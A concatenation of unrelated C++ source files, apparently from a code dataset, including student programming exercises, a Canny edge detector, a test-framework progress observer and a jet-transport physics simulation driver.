FILTER2_IN_PROGRESS,
FILTER2_FINISHED,
FILTER2_LOOKING_FOR_SUPPORT
};
Q_SIGNALS:
void daoEntriesChanged(int count);
private Q_SLOTS:
void setActiveSection(QWidget* section);
void viewProposals();
void viewPaymentRequests();
void viewConsultations();
void viewDeployments();
void viewConsensus();
void onCreateBtn();
void onCreate();
void onVote();
void onDetails();
void onFilter(int index);
void onFilter2(int index);
void onExclude(bool fChecked);
void onSupportAnswer();
void onCopyHash();
void onSeeProposal();
void onSeePaymentRequests();
void onViewChart();
void refresh(bool force = false, bool updateFilterIfEmpty = false);
void refreshForce();
void backToFilter();
void setWarning(QString text);
void showContextMenu(const QPoint& pt);
void closedChart();
};
#endif // DAOPAGE_H
|
//
// main.cpp
// 3.奖学金
//
// Created by 赵志诚 on 2020/12/21.
// Copyright © 2020年 赵志诚. All rights reserved.
//
#include<iostream>
#include<algorithm>
using namespace std;
struct node
{
int yuwen,shuxue,yingyu;
int num,sum;
}student[100];
int cmp(node x,node y)
{
if(x.sum!=y.sum) return x.sum>y.sum;
if(x.yuwen!=y.yuwen) return x.yuwen>y.yuwen;
if(x.num!=y.num) return x.num<y.num;
return 0;
}
int main()
{
int i,n;
cin>>n;
for(i=0;i<n;i++)
{
cin>>student[i].yuwen>>student[i].shuxue>>student[i].yingyu;
student[i].num=i+1;
student[i].sum=student[i].yuwen+student[i].shuxue+student[i].yingyu;
}
sort(student,student+n,cmp);
for(i=0;i<5;i++)
cout<<student[i].num<<" "<<student[i].sum<<endl;
return 0;
}
|
/*
Copyright (c) 2015-2022 Xavier Leclercq
Released under the MIT License
See https://github.com/ishiko-cpp/test-framework/blob/main/LICENSE.txt
*/
#include "TestProgressObserver.hpp"
#include "Test.hpp"
#include <iostream>
#include <sstream>
using namespace std;
namespace Ishiko
{
namespace
{
void WriteNesting(size_t level, ostream& output)
{
for (size_t i = 0; i < level; ++i)
{
output << " ";
}
}
}
TestProgressObserver::TestProgressObserver(ostream& output)
: m_output(output), m_nestingLevel(0)
{
}
void TestProgressObserver::onLifecycleEvent(const Test& source, EEventType type)
{
switch (type)
{
case eTestStart:
WriteNesting(m_nestingLevel, m_output);
m_output << formatNumber(source.number()) << " " << source.name() << " started" << endl;
++m_nestingLevel;
break;
case eTestEnd:
if (m_nestingLevel > 0)
{
--m_nestingLevel;
}
WriteNesting(m_nestingLevel, m_output);
m_output << formatNumber(source.number()) << " " << source.name() << " completed, result is "
<< formatResult(source.result()) << endl;
break;
}
}
void TestProgressObserver::onCheckFailed(const Test& source, const string& message, const char* file, int line)
{
WriteNesting(m_nestingLevel, m_output);
if (message.empty())
{
m_output << "Check failed [file: " << file << ", line: " << line << "]" << endl;
}
else
{
m_output << "Check failed: " << message << " [file: " << file << ", line: " << line << "]" << endl;
}
}
void TestProgressObserver::onExceptionThrown(const Test& source, exception_ptr exception)
{
WriteNesting(m_nestingLevel, m_output);
if (exception)
{
try
{
rethrow_exception(exception);
}
catch (const std::exception& e)
{
m_output << "Exception thrown: " << e.what() << endl;
}
catch (...)
{
m_output << "Exception not derived from std::exception thrown" << endl;
}
}
else
{
m_output << "Exception thrown but no exception information available" << endl;
}
}
string TestProgressObserver::formatNumber(const TestNumber& number)
{
stringstream formattedNumber;
for (size_t i = 0; i < number.depth(); ++i)
{
formattedNumber << number.part(i) << ".";
}
return formattedNumber.str();
}
string TestProgressObserver::formatResult(const TestResult& result)
{
string formattedResult;
switch (result)
{
case TestResult::unknown:
formattedResult = "UNKNOWN!!!";
break;
case TestResult::passed:
formattedResult = "passed";
break;
case TestResult::passedButMemoryLeaks:
formattedResult = "MEMORY LEAK DETECTED";
break;
case TestResult::exception:
formattedResult = "EXCEPTION!!!";
break;
case TestResult::failed:
formattedResult = "FAILED!!!";
break;
case TestResult::skipped:
formattedResult = "skipped";
break;
default:
formattedResult = "UNEXPECTED OUTCOME ENUM VALUE";
break;
}
return formattedResult;
}
}
|
#pragma once
#include <iostream>
#include <string>
#include <iomanip>
using namespace std;
|
//
// Created by OLD MAN on 2020/2/20.
//
//如果今天是星期三,后天就是星期五;如果今天是星期六,后天就是星期一。我们用数字1到7对应星期一到星期日。给定某一天,请你输出那天的“后天”是星期几。
//
//输入格式
// 输入第一行给出一个正整数 D(1≤D≤7),代表星期里的某一天。
//
//输出格式
// 在一行中输出 D 天的后天是星期几。
#include <iostream>
using namespace std;
int main(){
int d;
cin>>d;
switch (d){
case 1:
cout<<3;
break;
case 2:
cout<<4;
break;
case 3:
cout<<5;
break;
case 4:
cout<<6;
break;
case 5:
cout<<7;
break;
case 6:
cout<<1;
break;
case 7:
cout<<2;
break;
}
}
|
#include "Canny_edge_detector.h"
Edge_detector::Edge_detector(CImg<unsigned char>& image, float sigma_, float tlow_, float thigh_){
srcImg = image;
height = image.height();
width = image.width();
sigma = sigma_;
tlow = tlow_ * MAG_SCALE + 0.5f;
thigh = thigh_ * MAG_SCALE + 0.5f;
}
Edge_detector::~Edge_detector(){
if(edgeImg) delete edgeImg;
if(mag) delete mag;
}
CImg<unsigned char>& Edge_detector::edge_detection(){
// Allocate buffers
edgeImg = new int[width * height];
mag = new int[width * height];
/*****************************************
* Perform gaussian smoothing on the
* image using the input standard deviation.
******************************************/
gaussian_smooth();
/******************************************
* Use sobel methods to find gradients
*******************************************/
compute_gradients();
/******************************************
* Apply non-maximal-suppresion and hysteresis
*******************************************/
apply_hysteresis();
edge = CImg<unsigned char>(width, height, 1, 1, 0);
cimg_forXY(edge, x, y){
int tmp = y*width + x;
edge(x, y) = edgeImg[tmp] > 0 ? 255 : 0;
}
remove_less20_edges();
edge.display();
edge.save("lenag.bmp");
return edge;
}
void Edge_detector::remove_less20_edges(){
queue<pair<int, int> > store;
CImg<bool> visited(srcImg.width(), srcImg.height(), 1, 1, 0);
for(int i=0; i<srcImg.width(); i++){
for(int j=0; j<srcImg.height(); j++){
if(visited(i, j) == true) continue;
store.push(make_pair(i, j));
vector<pair<int, int> > path;
while(!store.empty()){
int xx = store.front().first, yy = store.front().second;
path.push_back(make_pair(xx, yy));
store.pop();
for(int x=xx-1; x<xx+2; x++){
for(int y=yy-1; y<yy+2; y++){
if(x < 0 || y < 0 || x >= edge.width() || y >= edge.height())
continue;
else if(!visited(x, y) && edge(x, y) > 0){
store.push(make_pair(x, y));
visited(x, y) = true;
}
}
}
}
if(path.size() < 20){
for(int i=0; i<path.size(); i++)
edge(path[i].first, path[i].second) = 0;
}
}
}
}
void Edge_detector::gaussian_smooth(){
int hist[256] = {0}, re[256];
int sum = 0, k = 0;
// Calculate hist array
cimg_forXY(srcImg, x, y){
hist[srcImg(x, y)]++;
}
for(int i=0; i<256; i++){
sum += hist[i];
int temp = (sum * 255) / (width * height);
for(int j=k+1; j<=temp; j++)
re[j] = i;
k = temp;
}
// Apply result
cimg_forXY(srcImg, x, y){
srcImg(x, y) = re[srcImg(x, y)];
}
}
// Compute gradient after processing
void Edge_detector::compute_gradients(){
float k_radius = sigma;
int k_width = 16;
int i = 0;
float* xConv = new float[width * height];
float* yConv = new float[width * height];
float* xGradient = new float[width * height];
float* yGradient = new float[width * height];
float* kernel = new float[k_width];
float* diffk = new float[k_width];
for(i=0; i<k_width; i++){
float t1, t2, t3;
t1 = gauss((float)i, k_radius);
if(t1 <= GAP_NUM && i >= 2) break;
t2 = gauss(i - 0.5f, k_radius);
t3 = gauss(i + 0.5f, k_radius);
kernel[i] = (t1+t2+t3) / 3.0f / (2.0f * 3.14f * k_radius * k_radius);
diffk[i] = t3 - t2;
}
int iX = i-1, mX = width - i - 1;
int iY = width * (i-1), mY = width * (height-i-1);
// Perform convolutions in x and y direction
for(int x=iX; x<mX; x++){
for(int y=iY; y<mY; y+=width){
int tmp = x+y;
float sumX = srcImg[tmp] * kernel[0];
float sumY = sumX;
int xOffset = 1;
int yOffset = width;
while (xOffset < i)
{
sumY += kernel[xOffset] * (srcImg[tmp - yOffset] + srcImg[tmp + yOffset]);
sumX += kernel[xOffset] * (srcImg[tmp - xOffset] + srcImg[tmp + xOffset]);
yOffset += width;
xOffset++;
}
yConv[tmp] = sumY;
xConv[tmp] = sumX;
}
}
for (int x = iX; x < mX; x++){
for (int y = iY; y < mY; y += width){
float sum = 0.0f;
int index = x + y;
for (int j = 1; j < i; j++)
sum += diffk[j] * (yConv[index - j] - yConv[index + j]);
xGradient[index] = sum;
}
}
for (int x = i; x < width - i; x++){
for (int y = iY; y < mY; y += width){
float sum = 0.0f;
int index = x + y;
int yOffset = width;
for (int j = 1; j < i; j++){
sum += diffk[j] * (xConv[index - yOffset] - xConv[index + yOffset]);
yOffset += width;
}
yGradient[index] = sum;
}
}
iX = i;
mX = width - i;
iY = width * i;
mY = width * (height - i);
no_max_supp(iX, mX, iY, mY, xGradient, yGradient);
free(kernel);
free(diffk);
free(xConv);
free(yConv);
}
// Apply nms
void Edge_detector::no_max_supp(int iX, int mX, int iY, int mY, float* xGradient, float* yGradient){
for (int x = iX; x < mX; x++){
for (int y = iY; y < mY; y += width){
int index = x + y;
int indexN = index - width;
int indexS = index + width;
int indexW = index - 1;
int indexE = index + 1;
int indexNW = indexN - 1;
int indexNE = indexN + 1;
int indexSW = indexS - 1;
int indexSE = indexS + 1;
float xGrad = xGradient[index];
float yGrad = yGradient[index];
float gradMag = hypo(xGrad, yGrad);
/* perform non-maximal supression */
float nMag = hypo(xGradient[indexN], yGradient[indexN]);
float sMag = hypo(xGradient[indexS], yGradient[indexS]);
float wMag = hypo(xGradient[indexW], yGradient[indexW]);
float eMag = hypo(xGradient[indexE], yGradient[indexE]);
float neMag = hypo(xGradient[indexNE], yGradient[indexNE]);
float seMag = hypo(xGradient[indexSE], yGradient[indexSE]);
float swMag = hypo(xGradient[indexSW], yGradient[indexSW]);
float nwMag = hypo(xGradient[indexNW], yGradient[indexNW]);
float tmp;
int flag = ((xGrad * yGrad <= 0.0f)
? abs(xGrad) >= abs(yGrad)
? (tmp = abs(xGrad * gradMag)) >= abs(yGrad * neMag - (xGrad + yGrad) * eMag) /*(3)*/
&& tmp > fabs(yGrad * swMag - (xGrad + yGrad) * wMag) /*(4)*/
: (tmp = abs(yGrad * gradMag)) >= abs(xGrad * neMag - (yGrad + xGrad) * nMag) /*(3)*/
&& tmp > abs(xGrad * swMag - (yGrad + xGrad) * sMag) /*(4)*/
: abs(xGrad) >= abs(yGrad) /*(2)*/
? (tmp = abs(xGrad * gradMag)) >= abs(yGrad * seMag + (xGrad - yGrad) * eMag) /*(3)*/
&& tmp > abs(yGrad * nwMag + (xGrad - yGrad) * wMag) /*(4)*/
: (tmp = abs(yGrad * gradMag)) >= abs(xGrad * seMag + (yGrad - xGrad) * sMag) /*(3)*/
&& tmp > abs(xGrad * nwMag + (yGrad - xGrad) * nMag) /*(4)*/
);
if (flag){
mag[index] = (gradMag >= MAG_LIMIT) ? (int)MAG_MAX : (int)(MAG_SCALE * gradMag);
}
else{
mag[index] = 0;
}
}
}
free(xGradient);
free(yGradient);
}
void Edge_detector::apply_hysteresis(){
int tmp = 0;
memset(edgeImg, 0, width*height*sizeof(int));
for(int x=0; x<height; x++){
for(int y=0; y<width; y++){
if(edgeImg[tmp] == 0 && mag[tmp] >= thigh)
follow_edges(y, x, tmp);
tmp++;
}
}
}
void Edge_detector::follow_edges(int x, int y, int i){
int x0 = x == 0 ? x : x - 1;
int x1 = x == width - 1 ? x : x + 1;
int y0 = y == 0 ? y : y - 1;
int y1 = y == height - 1 ? y : y + 1;
bool follow_flag = false, keep_flag = true;
edgeImg[i] = mag[i];
for (int j = x0; j <= x1; j++){
for (int k = y0; k <= y1; k++){
int tt = j + k * width;
if ((k != y || j != x) && edgeImg[tt] == 0 && mag[tt] >= tlow){
follow_edges(j, k, tt);
}
}
}
}
void Edge_detector::usage(char* progName){
fprintf(stderr,"\n<USAGE> %s image sigma tlow thigh [writedirim]\n",progName);
fprintf(stderr,"\n image: An image to process. Support all ");
fprintf(stderr," formats.\n");
fprintf(stderr," sigma: Standard deviation of the gaussian");
fprintf(stderr," blur kernel.\n");
fprintf(stderr," tlow: Fraction of the high ");
fprintf(stderr,"edge strength threshold.\n");
fprintf(stderr," thigh: Fraction of the distribution");
fprintf(stderr," of non-zero edge\n strengths for ");
fprintf(stderr,"hysteresis. The fraction is used to compute\n");
fprintf(stderr," the high edge strength threshold.\n");
}
|
#include <string>
#include <iostream>
#include <vector>
#include <cctype>
using namespace std;
bool isMul(int n){
if(n%3==0){
return true;
}
return false;
}
void find(int ar[],int n){
// int n = sizeof(ar)/sizeof(ar[0]);
// int ar[A.size()+1];
// for(int i =0;i<A.size();i++){
// ar[i] = A[i];
// }
unsigned int ans = 0;
int k = 0;
for(int i =0;i<32;i++){
int c = 0;
for(int j =0;j<n;j++){
if(ar[j]&1){
// cout<<ar[j]<<" ";
c++;
}
ar[j] = ar[j] >> 1;
// cout<<ar[j]<<" ";
// cout<<(ar[j]&1)<<" ";
}
if(isMul(c-1)){
ans = ans|(1<<k);
}
// cout<<c<<endl;
k++;
}
cout<<ans;
}
int main(){
int ar[] = {1, 2, 10, 3, 3, 2, 2, 3, 1, 1};
int n = sizeof(ar)/sizeof(ar[0]);
find(ar,n);
return 0;
}
|
#include<iostream>
using namespace std;
int main()
{
int num;
do
{
int b,fac=1;
cout<<"Enter positive number\n";
cout<<">"; cin>>num;
for(b = num; b >= 1; b--)
{
fac = fac*b;
}
cout<<fac<<endl;
}
while(num != 0);
return 0;
}
|
#include <string>
#include <iostream>
#include <iomanip>
#include <cmath>
#include <fstream>
#include <exception>
#include <random>
#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/program_options.hpp>
#include <sstream>
#include <unistd.h>
#include "simpleLogger.h"
#include "Medium_Reader.h"
#include "workflow.h"
#include "pythia_jet_gen.h"
#include "Hadronize.h"
#include "jet_finding.h"
namespace po = boost::program_options;
namespace fs = boost::filesystem;
void output_jet(std::string fname, std::vector<particle> plist){
std::ofstream f(fname);
for (auto & p : plist) f << p.pid << " " << p.p << " " << p.x << " " << p.Q0 << std::endl;
f.close();
}
struct event{
std::vector<particle> plist, thermal_list, hlist;
std::vector<current> clist;
std::vector<HadronizeCurrent> slist;
double sigma, Q0, maxPT;
};
int main(int argc, char* argv[]){
using OptDesc = po::options_description;
OptDesc options{};
options.add_options()
("help", "show this help message and exit")
("pythia-setting,y",
po::value<fs::path>()->value_name("PATH")->required(),
"Pythia setting file")
("pythia-events,n",
po::value<int>()->value_name("INT")->default_value(100,"100"),
"number of Pythia events")
("ic,i",
po::value<fs::path>()->value_name("PATH")->required(),
"trento initial condition file")
("eid,j",
po::value<int>()->value_name("INT")->default_value(0,"0"),
"trento event id")
("hydro",
po::value<fs::path>()->value_name("PATH")->required(),
"hydro file")
("lido-setting,s",
po::value<fs::path>()->value_name("PATH")->required(),
"Lido table setting file")
("lido-table,t",
po::value<fs::path>()->value_name("PATH")->required(),
"Lido table path to file")
("response-table,r",
po::value<fs::path>()->value_name("PATH")->required(),
"response table path to file")
("output,o",
po::value<fs::path>()->value_name("PATH")->default_value("./"),
"output file prefix or folder")
("jet", po::bool_switch(),
"Turn on to do jet finding (takes time)")
("pTtrack",
po::value<double>()->value_name("DOUBLE")->default_value(.7,".7"),
"minimum pT track in the jet shape reconstruction")
("muT",
po::value<double>()->value_name("DOUBLE")->default_value(1.5,"1.5"),
"mu_min/piT")
("Q0,q",
po::value<double>()->value_name("DOUBLE")->default_value(.4,".4"),
"Scale [GeV] to insert in-medium transport")
("theta",
po::value<double>()->value_name("DOUBLE")->default_value(4.,"4."),
"Emin/T")
("afix",
po::value<double>()->value_name("DOUBLE")->default_value(-1.,"-1."),
"fixed alpha_s, <0 for running alphas")
("cut",
po::value<double>()->value_name("DOUBLE")->default_value(4.,"4."),
"cut between diffusion and scattering, Qc^2 = cut*mD^2")
("Tf",
po::value<double>()->value_name("DOUBLE")->default_value(0.16,"0.16"),
"Transport stopping temperature, Tf")
;
po::variables_map args{};
try{
po::store(po::command_line_parser(argc, argv).options(options).run(), args);
if (args.count("help")){
std::cout << "usage: " << argv[0] << " [options]\n"
<< options;
return 0;
}
// check lido setting
if (!args.count("lido-setting")){
throw po::required_option{"<lido-setting>"};
return 1;
}
else{
if (!fs::exists(args["lido-setting"].as<fs::path>())){
throw po::error{"<lido-setting> path does not exist"};
return 1;
}
}
// check lido table
std::string table_mode;
if (!args.count("lido-table")){
throw po::required_option{"<lido-table>"};
return 1;
}
else{
table_mode = (fs::exists(args["lido-table"].as<fs::path>())) ?
"old" : "new";
}
// check lido-response table
bool need_response_table;
if (!args.count("response-table")){
throw po::required_option{"<response-table>"};
return 1;
}
else{
need_response_table = (fs::exists(args["response-table"].as<fs::path>())) ?
false : true;
}
// check trento event
if (!args.count("ic")){
throw po::required_option{"<ic>"};
return 1;
}
else{
if (!fs::exists(args["ic"].as<fs::path>())) {
throw po::error{"<ic> path does not exist"};
return 1;
}
}
// check pythia setting
if (!args.count("pythia-setting")){
throw po::required_option{"<pythia-setting>"};
return 1;
}
else{
if (!fs::exists(args["pythia-setting"].as<fs::path>())) {
throw po::error{"<pythia-setting> path does not exist"};
return 1;
}
}
// check hydro setting
if (!args.count("hydro")){
throw po::required_option{"<hydro>"};
return 1;
}
else{
if (!fs::exists(args["hydro"].as<fs::path>())) {
throw po::error{"<hydro> path does not exist"};
return 1;
}
}
/// use process id to define filename
int processid = getpid();
std::stringstream fheader;
fheader << args["output"].as<fs::path>().string()
<< processid;
/// Initialize Lido in-medium transport
// Scale to insert In medium transport
double Q0 = args["Q0"].as<double>();
double muT = args["muT"].as<double>();
double theta = args["theta"].as<double>();
double cut = args["cut"].as<double>();
double afix = args["afix"].as<double>();
double Tf = args["Tf"].as<double>();
initialize(table_mode,
args["lido-setting"].as<fs::path>().string(),
args["lido-table"].as<fs::path>().string(),
muT, afix, theta, cut
);
/// Initialize jet finder with medium response
JetFinder jetfinder(300,300,3.,need_response_table, args["response-table"].as<fs::path>().string());
/// Initialize a simple hadronizer
JetDenseMediumHadronize Hadronizer;
/*
// all kinds of bins and cuts
// For RHIC 200 GeV
std::vector<double> TriggerBin({
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,20,22,24,28,32,36,40,45,50,55,60,70,80,90,100});
std::vector<double> Rs({.2,.3,.4});
std::vector<double> ParticlepTbins({0,1,2,3,4,5,6,8,10,12,14,16,18,20,22,24,26,30,40,60,100});
std::vector<double> jetpTbins({3,4,5,6,7,10,12,14,16,18,20,24,28,32,36,40,50,60,100});
std::vector<double> HFpTbins({2,6,10,20,40,100});
std::vector<double> HFETbins({2,6,10,20,40,100});
std::vector<double> shapepTbins({20,30,40,60,80,120,2000});
std::vector<double> shaperbins({0, .05, .1, .15, .2, .25, .3,
.35, .4, .45, .5, .6, .7, .8,
1., 1.5, 2.0, 2.5, 3.0});
std::vector<double> xJpTbins({8,12,16,20,30,40,60});
std::vector<double> FragpTbins({10,20,30,40});
std::vector<double> zbins({.005,.0065,.0085,.011,.015,
.019,.025,.032,.042,.055,
.071, .092, .120,.157, .204,
.266, .347, .452, .589, .767,
1.});
*/
// For 5.02 TeV
std::vector<double> TriggerBin({
2,3,4,5,6,7,8,9,10,12,14,16,18,20,22,24,26,
28,30,32,36,40,45,50,55,60,65,70,75,80,85,90,95,100,110,
120,130,140,150,160,180,200,220,240,260,280,300,320,340,
360,400,450,500,600,700,800,1000,1200,1500,2000,2500
});
std::vector<double> Rs({.4});
std::vector<double> ParticlepTbins({0,.25,.5,1.,1.5,2,3,4,5,6,7,8,10,
12,14,16,18,20,22,24,28,32,36,40,45,50,
55,60,65,70,80,90,100,
110,120,140,160,180,200,220,240,260,300,
350,400,500,600,800,1000});
std::vector<double> jetpTbins({20,25,30,35,
40,45,50,55,60,70,80,90,100,110,120,140,160,180,200,
240,280,320,360,400,500,600,800,1000,
1200,1400,1600,2000,2500});
std::vector<double> HFpTbins({4,20,200});
std::vector<double> HFETbins({2,6,10,20,40,100});
std::vector<double> shapepTbins({20,30,40,60,80,120,2000});
std::vector<double> shaperbins({0, .05, .1, .15, .2, .25, .3,
.35, .4, .45, .5, .6, .7, .8,
1., 1.5, 2.0, 2.5, 3.0});
std::vector<double> xJpTbins({100,126,158,178,200,224,251,282,316,398,562});
std::vector<double> FragpTbins({100,126,158,200,251,316,398,600,800});
std::vector<double> zbins({.005,.0065,.0085,.011,.015,
.019,.025,.032,.042,.055,
.071, .092, .120,.157, .204,
.266, .347, .452, .589, .767,
1.});
LeadingParton dNdpT(ParticlepTbins);
JetStatistics JetSample(jetpTbins, Rs,
shapepTbins, shaperbins,
FragpTbins, zbins,
xJpTbins);
JetHFCorr jet_HF_corr(HFpTbins, shaperbins);
HFETCorr HF_ET_corr(HFETbins, shaperbins);
/// Initialzie a hydro reader
Medium<2> med1(args["hydro"].as<fs::path>().string());
std::vector<event> events;
// Fill in all events
LOG_INFO << "Events initialization";
for (int iBin = 0; iBin < TriggerBin.size()-1; iBin++) {
/// Initialize a pythia generator for each pT trigger bin
PythiaGen pythiagen(
args["pythia-setting"].as<fs::path>().string(),
args["ic"].as<fs::path>().string(),
TriggerBin[iBin],
TriggerBin[iBin+1],
args["eid"].as<int>(),
Q0
);
//LOG_INFO << " Generating "
// << TriggerBin[iBin] << " < PT_hat <"
// << TriggerBin[iBin+1] << " GeV";
for (int i=0; i<args["pythia-events"].as<int>(); i++){
event e1;
e1.Q0 = Q0;
pythiagen.Generate(e1.plist);
e1.maxPT = pythiagen.maxPT();
//LOG_INFO << "max pT = " <<e1.maxPT;
e1.sigma = pythiagen.sigma_gen()
/args["pythia-events"].as<int>();
// freestream form t=0 to tau=tau0
for (auto & p : e1.plist){
p.Tf = Tf+0.0001;
p.origin = 0;
if (p.x.tau() < med1.get_tauH())
p.freestream(compute_realtime_to_propagate(
med1.get_tauH(), p.x, p.p)
);
}
events.push_back(e1);
}
}
LOG_INFO << "Start evolution of " << events.size() << " hard events";
while(med1.load_next()) {
double current_hydro_clock = med1.get_tauL();
double dtau = med1.get_hydro_time_step();
//LOG_INFO << "Hydro t = " << current_hydro_clock/5.076 << " fm/c";
for (auto & ie : events){
std::vector<particle> new_plist, pOut_list;
for (auto & p : ie.plist){
if (p.Tf < Tf || std::abs(p.x.rap())>5.
|| std::abs(p.p.rap()>5. )
) {
new_plist.push_back(p);
continue;
}
if (p.x.tau() > current_hydro_clock+dtau){
// if the particle time is in the future
// (not formed to the medium yet), put it back
// in the list
new_plist.push_back(p);
continue;
}
else{
double DeltaTau =
current_hydro_clock + dtau - p.x.tau();
// get hydro information
double T = 0.0, vx = 0.0, vy = 0.0, vz = 0.0;
med1.interpolate(p.x, T, vx, vy, vz);
fourvec ploss = p.p;
int fs_size = update_particle_momentum_Lido(
DeltaTau, T, {vx, vy, vz}, p, pOut_list, Tf);
for (auto & fp : pOut_list) {
ploss = ploss - fp.p;
new_plist.push_back(fp);
}
current J;
J.p = ploss.boost_to(0, 0, p.x.z()/p.x.t());
J.chetas = std::cosh(p.x.rap());
J.shetas = std::sinh(p.x.rap());
ie.clist.push_back(J);
}
}
ie.plist = new_plist;
}
}
// free some mem
for (auto & ie: events){
for (auto & p : ie.plist) p.radlist.clear();
}
// Hadronization
// put back lost particles with their color
LOG_INFO << "Hadronization";
int Nos = 1;
if (args["jet"].as<bool>()) Nos = 1;
for (auto & ie : events){
Hadronizer.hadronize(ie.plist, ie.hlist, ie.thermal_list, ie.Q0, Tf, 1, Nos);
if (args["jet"].as<bool>()){
for(auto & it : ie.thermal_list){
double vz = it.x.z()/it.x.t();
current J;
J.p = it.p.boost_to(0, 0, vz)*(-1.);
J.chetas = std::cosh(it.x.rap());
J.shetas = std::sinh(it.x.rap());
ie.clist.push_back(J);
}
}
}
LOG_INFO << "Jet finding, w/ medium excitation";
for (auto & ie : events){
dNdpT.add_event(ie.hlist, ie.sigma/Nos, ie.maxPT);
if (args["jet"].as<bool>()) {
//--->>>
jetfinder.set_sigma(ie.sigma);
jetfinder.MakeETower(
0.6, Tf, args["pTtrack"].as<double>(),
ie.hlist, ie.clist, ie.slist, 10);
jetfinder.FindJets(Rs, 10., -3., 3.);
jetfinder.FindHF(ie.hlist);
//jetfinder.CorrHFET(shaperbins);
//jetfinder.Frag(zbins);
jetfinder.LabelFlavor();
//jetfinder.CalcJetshape(shaperbins);
JetSample.add_event(jetfinder.Jets, ie.sigma);
//jet_HF_corr.add_event(jetfinder.Jets, jetfinder.HFs, ie.sigma);
//HF_ET_corr.add_event(jetfinder.HFaxis, ie.sigma);
}
}
dNdpT.write(fheader.str());
if (args["jet"].as<bool>()){
JetSample.write(fheader.str());
//jet_HF_corr.write(fheader.str());
//HF_ET_corr.write(fheader.str());
}
}
catch (const po::required_option& e){
std::cout << e.what() << "\n";
std::cout << "usage: " << argv[0] << " [options]\n"
<< options;
return 1;
}
catch (const std::exception& e) {
// For all other exceptions just output the error message.
std::cerr << e.what() << '\n';
return 1;
}
return 0;
}
|
#ifndef myConfig_h__
#define myConfig_h__
#include "config.h"
#include "Singleton.h"
class CxMyConfig :public XsConfig,public Singleton<CxMyConfig>
{
public:
CxMyConfig();
public:
static int proxy_type;
static bool enable_ssl;
};
extern CxMyConfig theConfig;
#endif // myConfig_h__
|
#pragma once
#include "IInteractable.h"
#include "IEvent.h"
/*
Bed is the interactable that will bring the day to an end
when the player interacts with it.
*/
typedef IEvent<void()> DayOverEvent;
#define DAY_OVER(callbackFunction) std::function<void()>(std::bind(callbackFunction, this))
class Bed : public IInteractable
{
public:
std::unique_ptr<DayOverEvent> m_OnDayOverEvent{ nullptr };
Bed();
~Bed() { printf("bed destroyed\n"); }
virtual void InteractWith(GameObject* aObjectToInteractWith, GameObjectGridMap& aGridMap) override;
protected:
virtual void PopulateInteractables() override;
private:
void InteractWithEmpty(GameObject* aObject, GameObjectGridMap& aGridMap);
};
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.